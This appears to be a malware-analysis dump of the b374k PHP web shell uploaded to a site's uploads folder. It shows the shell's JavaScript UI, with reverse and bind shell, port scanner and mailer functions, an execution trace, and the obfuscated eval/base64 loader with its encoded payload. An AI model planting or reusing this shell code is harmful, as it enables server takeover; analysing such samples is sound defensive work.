db_query_tbl(type,db,table,start,limit){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:\'\',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$(\'#dbDB\').val();table=$(\'#dbTable\').val();start=parseInt($(\'#dbStart\').val());limit=parseInt($(\'#dbLimit\').val());dbType=$(\'#dbType\').val();if(type==\'next\'){start=start+limit}else if(type==\'prev\'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem(\'infoResult\'))){$(\'.infoResult\').html(infoResult)}else{info_refresh()}}function info_toggle(id){$(\'#\'+id).toggle()}function info_refresh(){send_post({infoRefresh:\'infoRefresh\'},function(res){$(\'.infoResult\').html(res);localStorage.setItem(\'infoResult\',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($(\'#mailFrom\').val());mailTo=$.trim($(\'#mailTo\').val());mailSubject=$.trim($(\'#mailSubject\').val());mailContent=$(\'#mailContent\').val();mailAttachment=\'\';if($(\'.mailAttachment\')){mailAttachment=$(\'.mailAttachment\').map(function(){return this.value}).get().join(\'{[|b374k|]}\')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$(\'#mailResult\').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\\"$(this).parent().parent().remove();\\">(-)</a></td><td colspan=\'2\'><input type=\'text\' class=\'mailAttachment\' value=\'\'></td></tr>";$(\'#mailTBody\').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'.rsType\').append("<option>"+k+"</option>")})}else setTimeout(\'rs_init()\',1000);$(\'#packetContent\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go(\'bind\')}function rs_go_back(){rs_go(\'back\')}function rs_go(rsType){rsArgs="";if(rsType==\'bind\'){rsPort=parseInt($(\'#bindPort\').val());rsLang=$(\'#bindLang\').val();rsArgs=rsPort;rsResult=$(\'#bindResult\')}else if(rsType==\'back\'){rsAddr=$(\'#backAddr\').val();rsPort=parseInt($(\'#backPort\').val());rsLang=$(\'#backLang\').val();rsArgs=rsPort+\' \'+rsAddr;rsResult=$(\'#backResult\')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html(\'Invalid port\');return}if(rsArgs!=\'\'){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$(\'#packetHost\').val();packetStartPort=parseInt($(\'#packetStartPort\').val());packetEndPort=parseInt($(\'#packetEndPort\').val());packetTimeout=parseInt($(\'#packetTimeout\').val());packetSTimeout=parseInt($(\'#packetSTimeout\').val());packetContent=$(\'#packetContent\').val();packetResult=$(\'#packetResult\');packetStatus=$(\'#packetStatus\');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html(\'Invalid start port\');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html(\'Invalid end port\');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html(\'Invalid connection timeout\');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html(\'Invalid stream timeout\');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html(\'\');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class=\'boxtitle\'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id=\'packet"+packetPort+"\' style=\'padding:2px 4px;\'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$(\'#packet\'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:\'\'},function(res){if(res!=\'error\'){$(\'#processes\').html(res);sorttable.k($(\'#psTable\').get(0));ps_bind()}})}function ps_bind(){$(\'.kill\').off(\'click\');$(\'.kill\').on(\'click\',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind(\'psTable\',\'ps_update_status\')}function ps_get_pid(el){return el.parent().parent().attr(\'data-pid\')}function ps_update_status(){totalSelected=$(\'#psTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.psSelected\').html(\'\');else $(\'.psSelected\').html(\' ( \'+totalSelected+\' item(s) selected )\')}function kill_selected(){buffer=get_all_cbox_selected(\'psTable\',\'ps_get_pid\');allPid=\'\';$.each(buffer,function(i,v){allPid+=v+\' \'});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title=\'Kill\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'allPid\' style=\'height:120px;min-height:120px;\' disabled>"+allPid+"</textarea></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"kill_pid_go();\\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$(\'.allPid\').val();if($.trim(allPid)!=\'\'){send_post({allPid:allPid},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' process(es) killed\')}else $(\'.boxresult\').html(\'Unable to kill process(es)\');show_processes()})}}<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "function ".$GLOBALS[\'module\'][$k][\'id\']."(){ ".$GLOBALS[\'module\'][$k][\'js_ontabselected\']." }\\n";}?>\n</script>\n<!--script end-->\n</body>\n</html><?php die();?>'	/var/www/html/uploads/betak.php(10) : runtime-created function	1	0
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['module_to_load'] = [0 => 'explorer', 1 => 'terminal', 2 => 'eval', 3 => 'convert', 4 => 'database', 5 => 'info', 6 => 'mail', 7 => 'network', 8 => 'processes']
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	2	GLOBALS['resources']['b374k'] = 'hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojl'
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	3	GLOBALS['resources']['mime'] = 'dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aF'
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	4	GLOBALS['resources']['arrow'] = 'FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhEN'
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	6	GLOBALS['ver'] = '3.2.3'
3		A						/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	7	GLOBALS['title'] = 'b374k'
4	10	0	0.014855	1480912	ob_start	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	7	0
4	10	1	0.014879	1497424
4	10	R			TRUE
4	11	0	0.014895	1497424	error_reporting	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	8	1	15
4	11	1	0.014912	1497496
4	11	R			22527
4	12	0	0.014927	1497456	ini_set	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	9	2	'html_errors'	'0'
4	12	1	0.014948	1497528
4	12	R			'1'
4	13	0	0.014962	1497456	ini_set	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	10	2	'display_errors'	'1'
4	13	1	0.014979	1497528
4	13	R			''
4	14	0	0.014992	1497456	ini_set	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	11	2	'display_startup_errors'	'1'
4	14	1	0.015008	1497528
4	14	R			''
4	15	0	0.015021	1497456	ini_set	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	12	2	'log_errors'	'0'
4	15	1	0.015036	1497528
4	15	R			'1'
4	16	0	0.015049	1497456	set_time_limit	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	13	1	0
4	16	1	0.015072	1497520
4	16	R			FALSE
4	17	0	0.015085	1497488	clearstatcache	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	14	0
4	17	1	0.015099	1497488
4	17	R			NULL
4	18	0	0.015112	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	14	1	'auth'
4	18	1	0.015128	1497528
4	18	R			FALSE
4	19	0	0.015142	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	15	1	'get_server_info'
4	19	1	0.015164	1497528
4	19	R			FALSE
4	20	0	0.015178	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	16	1	'get_self'
4	20	1	0.015193	1497528
4	20	R			FALSE
4	21	0	0.015207	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	17	1	'get_post'
4	21	1	0.015221	1497528
4	21	R			FALSE
4	22	0	0.015234	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	18	1	'get_nav'
4	22	1	0.015249	1497528
4	22	R			FALSE
4	23	0	0.015262	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	19	1	'get_cwd'
4	23	1	0.015277	1497528
4	23	R			FALSE
4	24	0	0.015289	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	20	1	'wrap_with_quotes'
4	24	1	0.015304	1497528
4	24	R			FALSE
4	25	0	0.015317	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	21	1	'get_resource'
4	25	1	0.015332	1497528
4	25	R			FALSE
4	26	0	0.015345	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	22	1	'block_bot'
4	26	1	0.015360	1497528
4	26	R			FALSE
4	27	0	0.015373	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	23	1	'is_win'
4	27	1	0.015387	1497528
4	27	R			FALSE
4	28	0	0.015400	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	24	1	'fix_magic_quote'
4	28	1	0.015415	1497528
4	28	R			FALSE
4	29	0	0.015428	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	25	1	'execute'
4	29	1	0.015442	1497528
4	29	R			FALSE
4	30	0	0.015455	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	26	1	'html_safe'
4	30	1	0.015470	1497528
4	30	R			FALSE
4	31	0	0.015483	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	27	1	'parse_dir'
4	31	1	0.015497	1497528
4	31	R			FALSE
4	32	0	0.015510	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	28	1	'zip'
4	32	1	0.015525	1497528
4	32	R			FALSE
4	33	0	0.015537	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	29	1	'compress'
4	33	1	0.015552	1497528
4	33	R			FALSE
4	34	0	0.015565	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	30	1	'decompress'
4	34	1	0.015579	1497528
4	34	R			FALSE
4	35	0	0.015592	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	31	1	'download'
4	35	1	0.015607	1497528
4	35	R			FALSE
4	36	0	0.015619	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	32	1	'get_fileperms'
4	36	1	0.015634	1497528
4	36	R			FALSE
4	37	0	0.015647	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	33	1	'format_bit'
4	37	1	0.015660	1497528
4	37	R			FALSE
4	38	0	0.015674	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	34	1	'get_filesize'
4	38	1	0.015689	1497528
4	38	R			FALSE
4	39	0	0.015702	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	35	1	'get_filemtime'
4	39	1	0.015716	1497528
4	39	R			FALSE
4	40	0	0.015729	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	36	1	'get_fileowner'
4	40	1	0.015743	1497528
4	40	R			FALSE
4	41	0	0.015757	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	37	1	'rmdirs'
4	41	1	0.015771	1497528
4	41	R			FALSE
4	42	0	0.015784	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	38	1	'copys'
4	42	1	0.015802	1497528
4	42	R			FALSE
4	43	0	0.015815	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	39	1	'get_all_files'
4	43	1	0.015829	1497528
4	43	R			FALSE
4	44	0	0.015842	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	40	1	'read_file'
4	44	1	0.015856	1497528
4	44	R			FALSE
4	45	0	0.015869	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	41	1	'write_file'
4	45	1	0.015883	1497528
4	45	R			FALSE
4	46	0	0.015896	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	42	1	'view_file'
4	46	1	0.015910	1497528
4	46	R			FALSE
4	47	0	0.015923	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	43	1	'get_writabledir'
4	47	1	0.015938	1497528
4	47	R			FALSE
4	48	0	0.015951	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	44	1	'get_drives'
4	48	1	0.015965	1497528
4	48	R			FALSE
4	49	0	0.015978	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	45	1	'show_all_files'
4	49	1	0.015993	1497528
4	49	R			FALSE
4	50	0	0.016005	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	46	1	'eval_get_supported'
4	50	1	0.016021	1497528
4	50	R			FALSE
4	51	0	0.016035	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	47	1	'eval_go'
4	51	1	0.016050	1497528
4	51	R			FALSE
4	52	0	0.016062	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	48	1	'output'
4	52	1	0.016077	1497528
4	52	R			FALSE
4	53	0	0.016091	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	49	1	'is_git_repo'
4	53	1	0.016105	1497528
4	53	R			FALSE
4	54	0	0.016117	1497488	function_exists	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	50	1	'find_git_repo'
4	54	1	0.016132	1497528
4	54	R			FALSE
4	55	0	0.016145	1497488	block_bot	1		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	51	0
5	56	0	0.016161	1497488	preg_match	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	22	2	'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i'	'python-requests/2.25.1'
5	56	1	0.016186	1497552
5	56	R			1
5	57	0	0.016199	1497488	header	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	22	1	'HTTP/1.0 404 Not Found'
5	57	1	0.016217	1497544
5	57	R			NULL
5	58	0	0.016231	1497512	header	0		/var/www/html/uploads/betak.php(10) : runtime-created function(1) : eval()'d code	22	1	'Status: 404 Not Found'
5	58	1	0.016250	1497608
5	58	R			NULL
			0.016311	1401832
TRACE END   [2023-02-13 00:20:44.161334]


Generated HTML code

<html><head> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow, noarchive"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0"> </head> <body style="background:#f8f8f8;color:#000000;padding:0;margin:0;"><br><p></p><center><noscript>You need to enable javascript</noscript></center><p></p> <script type="text/javascript"> var d = document; d.write("<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script><br><br><form method="post"><center><input type="password" id="pass" name="pass" style="font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;" autocomplete="off"></center></form>  </body></html>

Original PHP code

<?php
/*
	b374k shell 3.2.3
	Jayalah Indonesiaku
	(c)2020
	https://github.com/b374k/b374k

*/
$GLOBALS['pass'] = "fec0b72fcf80c80fabc2bf7b0a3d5d2b8928d6b6"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("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